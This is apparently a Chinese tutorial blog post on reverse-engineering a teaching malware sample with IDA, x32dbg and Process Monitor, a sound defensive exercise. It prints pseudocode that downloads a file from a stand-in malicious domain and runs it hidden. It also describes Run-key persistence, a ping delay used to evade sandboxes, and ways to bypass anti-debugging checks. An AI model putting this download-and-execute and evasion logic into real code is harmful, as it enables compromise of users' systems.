1. 项目概述:一次对恶意样本的“外科手术”
最近在整理自己的恶意软件分析环境时,翻出了一个老样本,文件名是
sample_mal.exe
。这个名字一看就是典型的“教学样本”或“分析样本”,它不像那些在野的恶意软件有花里胡哨的名字,但五脏俱全,非常适合用来练习和展示逆向分析的完整流程。逆向分析,说白了就是对一个已经编译好的程序进行“解剖”,搞清楚它到底想干什么、怎么干的。这就像拿到一个黑盒子,我们不知道它的内部电路,但通过测量它的输入输出、拆开外壳观察元器件,最终画出它的电路图。今天,我就以这个
sample_mal.exe
为例,带大家走一遍从静态分析到动态调试,再到行为监控的完整逆向流程。无论你是刚入门安全分析的新手,还是想巩固一下基础的老手,这篇笔记里的工具、思路和踩过的坑,应该都能给你一些直接的参考。
2. 分析环境搭建与样本预处理
工欲善其事,必先利其器。逆向分析的第一步,永远是搭建一个安全、隔离且工具齐全的分析环境。直接在自己的主力机上分析恶意软件是极其危险和不专业的行为。
2.1 构建安全的分析沙箱
我的选择是在虚拟机中进行分析。我使用的是 VMware Workstation,安装了 Windows 10 专业版作为分析机。这里有几个关键配置点:
- 网络隔离 :这是铁律。在虚拟机设置中,我将网络适配器设置为“仅主机模式”或直接断开网络。绝对不能让样本有连接互联网的机会,防止它下载更多恶意载荷、泄露数据或加入僵尸网络。有些高级样本会检测虚拟机环境,我们后续再谈应对方法。
- 系统快照 :在安装完基础系统和分析工具后,立即创建一个干净的快照。这样,每次分析完成后,无论系统被样本搞得多么混乱,都可以一键恢复到纯净状态。
-
工具准备
:我会预先在分析机里安装好一套“瑞士军刀”:
- 静态分析 :IDA Pro(主力)、Ghidra(免费且强大)、Detect It Easy(查壳工具)。
- 动态调试 :x64dbg(对Windows程序友好)、OllyDbg(经典)。
- 行为监控 :Process Monitor(文件、注册表、进程监控)、Process Explorer(增强版任务管理器)、Wireshark(虽然断网,但可监控本地流量)、API Monitor(监控API调用)。
- 辅助工具 :HxD(十六进制编辑器)、PEiD(旧版查壳,可作为补充)、Strings(提取字符串)。
注意 :样本
sample_mal.exe在放入虚拟机前,我会在其属性中取消“阻止”选项(如果存在),并确保其MD5/SHA1哈希值与我获取时一致,防止在传输过程中被意外修改。
2.2 样本的初步“体检”
拿到样本,不要急着运行。先做一轮静态的“体检”,收集基本信息。
首先,使用
Detect It Easy
或
PEiD
查看样本是否被加壳或混淆。加壳就像给程序穿了件“压缩衣”或“迷彩服”,会改变其原始代码形态,阻碍直接分析。幸运的是,对于
sample_mal.exe
,工具显示它是用 Microsoft Visual C++ 编译的,没有加壳。这大大降低了入门难度。如果遇到加壳样本,就需要先进行脱壳,这本身就是一个复杂的技术活。
接着,用
file
命令或 PE 查看工具确认它是32位还是64位程序。我看到的
sample_mal.exe
是一个32位的 Windows GUI 可执行文件。这决定了后续调试器要选用32位版本(如 x64dbg 的32位版本)。
然后,运行
strings
命令从样本中提取所有可打印的字符串。这一步往往能有惊喜发现。在
sample_mal.exe
的字符串输出中,我看到了诸如
“http://malicious-domain.com/update”
、
“Software\\Microsoft\\Windows\\CurrentVersion\\Run”
、
“cmd.exe /c ”
等可疑字符串。这立刻给了我几个方向:它可能尝试网络通信、试图写入注册表实现自启动、以及会执行命令行指令。
最后,我会把样本上传到 VirusTotal 等在线扫描平台(注意:使用样本的哈希值而非文件本身上传,更安全)。查看多家引擎的检测结果和社区评论,可以快速了解样本的家族、常见行为,相当于获得了一份“初步体检报告”。
3. 静态逆向:深入代码腹地
静态分析是在不运行程序的情况下,通过反汇编、反编译来理解其逻辑。这是逆向工程的核心。
3.1 反汇编与代码定位
我将
sample_mal.exe
载入 IDA Pro。IDA 会自动进行反汇编分析。首先关注的是程序的入口点(Entry Point)。对于 VC++ 编写的程序,入口点通常是
main
或
WinMain
函数,但IDA最初显示的是启动函数(如
start
),我们需要顺着调用关系找到用户代码的主函数。
通过查看导入表(Imports),我发现它导入了
Wininet.dll
中的
InternetOpenA
、
InternetOpenUrlA
、
InternetReadFile
等函数,印证了之前字符串中发现的网络功能。还导入了
Advapi32.dll
的
RegSetValueExA
(写注册表)和
ShellExecuteA
(执行程序)。
在 IDA 中,我使用“字符串窗口”直接跳转到之前发现的可疑URL字符串
“http://malicious-domain.com/update”
的引用位置。通常,IDA 会显示哪些函数或代码地址引用了这个字符串。我双击跳转过去,发现它位于一个子函数中,这个子函数的上层是一个网络通信函数。
3.2 关键函数分析与逻辑还原
我重点分析了引用那个可疑URL的函数。伪代码大致如下(经过简化和整理):
int download_and_execute() {
HINTERNET hInternet = InternetOpenA(“Mozilla/5.0”, ...);
HINTERNET hUrl = InternetOpenUrlA(hInternet, “http://malicious-domain.com/update”, ...);
// 打开本地文件 C:\\Users\\Public\\update.bin 用于写入
HANDLE hFile = CreateFileA(“C:\\Users\\Public\\update.bin”, ...);
// 循环从网络读取数据并写入本地文件
InternetReadFile(hUrl, buffer, ...);
WriteFile(hFile, buffer, ...);
// 关闭句柄
// ...
// 使用 ShellExecuteA 以隐藏窗口的方式运行下载的文件
ShellExecuteA(NULL, “open”, “C:\\Users\\Public\\update.bin”, NULL, NULL, SW_HIDE);
return 0;
}
这个逻辑非常清晰:下载一个文件到公共目录,然后静默执行它。这显然是下载并执行第二阶段恶意载荷的典型行为。
接着,我追踪了注册表操作的代码。发现另一个函数,它尝试向
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
写入一个键值,使其指向样本自身或下载的
update.bin
,从而实现用户登录时自启动。
3.3 静态分析的局限与心得
静态分析能获得全局视野和准确逻辑,但遇到复杂的代码混淆、间接调用或动态解析API时,就会非常吃力。对于
sample_mal.exe
这种未加壳的样本,静态分析效率很高。我个人的习惯是,在IDA中边分析边用注释(快捷键
:
)和重命名函数(快捷键
N
)来标记关键函数和变量,比如把
sub_401000
重命名为
DownloadPayload
,把
a1
重命名为
lpUrl
。这能让分析脉络越来越清晰。
实操心得 :在静态分析阶段,不要试图一口气理解所有代码。先抓住几个最可疑的线索(如网络URL、自启动路径、进程名),顺藤摸瓜,理清核心恶意模块。其他辅助函数(如字符串解密、简单的算法)可以稍后处理。画一个简单的调用关系图或流程图,对理解程序结构非常有帮助。
4. 动态调试:在运行时观察真相
动态调试让我们能够观察程序运行时的状态,包括内存数据、寄存器值、代码执行流程,这是验证静态分析猜想和理解复杂逻辑的关键。
4.1 调试器配置与断点设置
我使用 x64dbg 的32位版本
x32dbg
来调试
sample_mal.exe
。首先,在 x64dbg 中打开样本。调试器会在系统断点(
ntdll
模块)暂停,这时代码还没有进入样本自己的领空。
我需要让程序运行到样本的入口点。在“符号”选项卡中找到
sample_mal
模块,在其入口点地址上按
F2
下断点,然后按
F9
运行,程序就会暂停在样本代码的开始处。
根据静态分析的结果,我知道几个关键地址:网络下载函数的开头、注册表写入操作之前。我在这些地址上都下了断点。例如,我在调用
InternetOpenUrlA
的指令处下断,这样当程序执行到准备发起网络请求时,就会暂停,我可以查看此时栈上的参数,确认它要访问的URL是否和我们静态看到的一致。
4.2 运行时行为验证与数据监控
按
F9
运行程序。很快,程序在
InternetOpenUrlA
的断点处停了下来。查看栈窗口,第一个参数(对于
stdcall
调用约定)就是URL字符串的地址。在内存窗口中跟随这个地址,我确认了它正是
“http://malicious-domain.com/update”
。由于虚拟机断网,这个调用最终会失败,返回NULL。我可以修改
EAX
寄存器的值来模拟一个成功的句柄,或者直接修改
EIP
指针跳过这个网络操作,来观察后续行为。这是一种常见的“打补丁”调试技巧。
我选择让调用失败,继续执行。程序检查到失败后,可能走入错误处理流程。我单步跟踪(
F8
步过,
F7
步入),发现它并没有放弃,而是转而执行另一个分支:尝试读取资源段(
.rsrc
)中内嵌的一段数据。
踩过的坑 :这里就是一个静态分析容易遗漏的点。静态时我只看到了网络下载路径,但没注意到程序还有备用方案。动态调试让我发现了这个“后门”。
在内存中,我找到了那段内嵌数据,看起来像是一段Base64编码的字符串。程序在运行时调用
CryptStringToBinaryA
等函数对其进行解码,解码后的内容赫然是一个PE文件(通过内存中的
“MZ”
头判断)。原来,这个样本将第二阶段载荷直接加密后存储在自身资源里了!如果网络下载失败,就解密并执行这个内嵌的载荷。
4.3 调试技巧与反调试对抗
有些恶意软件会检测调试器。
sample_mal.exe
相对简单,但我在其他样本中遇到过。常见反调试技术包括:
-
IsDebuggerPresentAPI 调用 :调试器可以在此API返回前修改返回值。 -
检查
PEB(进程环境块)中的BeingDebugged标志 :可以通过插件或手动修改内存来绕过。 -
时间差检测
:用
rdtsc指令检测代码执行时间是否过长。调试时可以在相关代码前后下断点并手动跳过,或者使用调试器插件来隐藏时间痕迹。
对于
sample_mal.exe
,我使用 x64dbg 的插件如
ScyllaHide
来应用一些基本的反反调试配置,防患于未然。在动态调试过程中,要频繁使用“内存映射”窗口查看样本在内存中申请了哪些新空间,是否在堆上解密了代码;使用“句柄”窗口查看它打开了哪些文件、注册表键和互斥体。
5. 行为监控:全景视角下的样本活动
动态调试是微观的、指令级的观察,而行为监控则是宏观的、系统级的观察。两者结合,才能完整拼图。
5.1 利用 Process Monitor 捕捉痕迹
在运行样本前,我先以管理员身份启动 Process Monitor,并设置好过滤器。为了减少噪音,我通常先清除现有记录,然后添加一个过滤器:
Process Name
is
sample_mal.exe
。这样只会显示与这个进程相关的所有操作。
运行样本。即使网络操作失败,Process Monitor 的日志也在飞速滚动。我看到了以下关键序列:
-
注册表写入
:
RegSetValue操作,目标路径正是HKCU\Software\Microsoft\Windows\CurrentVersion\Run,尝试写入一个指向C:\Users\Public\update.bin的键值(尽管这个文件此时还没下载成功)。 操作结果:NAME NOT FOUND(因为路径不存在)。这验证了其持久化企图。 -
文件创建
:
CreateFile操作在C:\Users\Public\目录下尝试创建update.bin。 操作结果:PATH NOT FOUND(因为网络下载失败,文件没创建)。 -
进程创建
:尽管下载失败,但样本自身创建了一个新进程。查看详情,发现它执行了
cmd.exe /c ping 127.0.0.1 -n 6 > nul。这是一个简单的延迟命令(等待约6秒)。推测可能是为了规避沙箱检测(有些沙箱只运行程序几秒钟)。 -
资源访问
:看到了对自身进程的
QueryValue操作,访问资源目录。这对应了动态调试中发现的读取内嵌资源的行为。 -
后续进程创建
:在延迟之后,出现了新的
CreateProcess操作,启动了一个来自资源段的、在内存中解密并写入到临时目录的可执行文件(比如%TEMP%\xxxx.tmp)。这就是那个备用的内嵌载荷!
5.2 使用 Process Explorer 深入进程关系
切换到 Process Explorer,我可以更直观地看到进程树。
sample_mal.exe
作为父进程,创建了
cmd.exe
,而
cmd.exe
结束后,又诞生了那个临时文件进程。我可以右键点击这个临时进程,查看其属性:
- 镜像 :查看其完整路径、命令行、启动时间。
- 性能 :观察其CPU、内存占用。
- 线程 :查看其线程活动。
- TCP/IP :虽然本次断网,但可以查看它试图绑定或连接的端口(如果有)。
- 安全 :查看其权限令牌。
- 字符串 :直接在这个内存中运行的进程里搜索字符串,有时能发现配置信息或C2(命令与控制)服务器地址。
通过行为监控,我无需深入每一行汇编代码,就快速掌握了样本的核心行为链条: 尝试网络下载 -> 失败后启用备用资源 -> 延迟规避 -> 解密并执行内嵌载荷 -> 尝试注册表自启动 。这个宏观视角与静态、动态分析的微观发现相互印证,使得分析结论非常扎实。
6. 总结与归纳:从样本到报告
经过这一套组合拳,
sample_mal.exe
已经毫无秘密可言。现在,我需要将分析结果整理成一份清晰的报告或笔记。
- 样本信息 :记录文件名、哈希值(MD5, SHA1, SHA256)、编译时间、是否加壳。
-
行为摘要
:
-
持久化:尝试写入
HKCU\...\Run注册表键。 -
网络通信:尝试从
http://malicious-domain.com/update下载文件。 - 载荷执行:如果下载失败,则解密内嵌在资源段中的备用PE文件并执行。
-
规避技巧:执行
ping命令进行短暂延迟。
-
持久化:尝试写入
-
技术细节
:
-
使用的关键API:
InternetOpenUrlA,ShellExecuteA,RegSetValueExA,CryptStringToBinaryA。 - 内嵌资源的加密方式:Base64编码(本例中),可能是XOR或AES等。
-
解密后的载荷存储位置:临时目录 (
%TEMP%)。
-
使用的关键API:
-
危害评估与处置建议
:
- 危害:下载并执行任意远程代码,实现持久化,具有高风险。
- 检测:可以基于网络请求的特定URL、注册表路径、或内嵌资源的特征哈希进行检测。
-
清除:删除注册表键值,清除
C:\Users\Public\update.bin和临时目录中的可疑文件,终止相关进程。
回过头看这次分析,
sample_mal.exe
是一个设计上兼顾了网络下载和本地备用方案的传统恶意软件,复杂度适中,非常适合教学。对于分析者而言,最大的收获不是对这个特定样本的了解,而是巩固了“
静态看逻辑,动态看数据,监控看行为
”的三位一体分析方法论。在实际工作中,样本可能复杂百倍,会用到代码虚拟化、流混淆、多态等技术,但分析的基本框架和耐心寻踪的思维是不变的。下次如果你拿到一个陌生的可执行文件,不妨也按这个流程试一试,从搭建安全环境开始,一步步揭开它的面纱。


被折叠的 条评论
为什么被折叠?



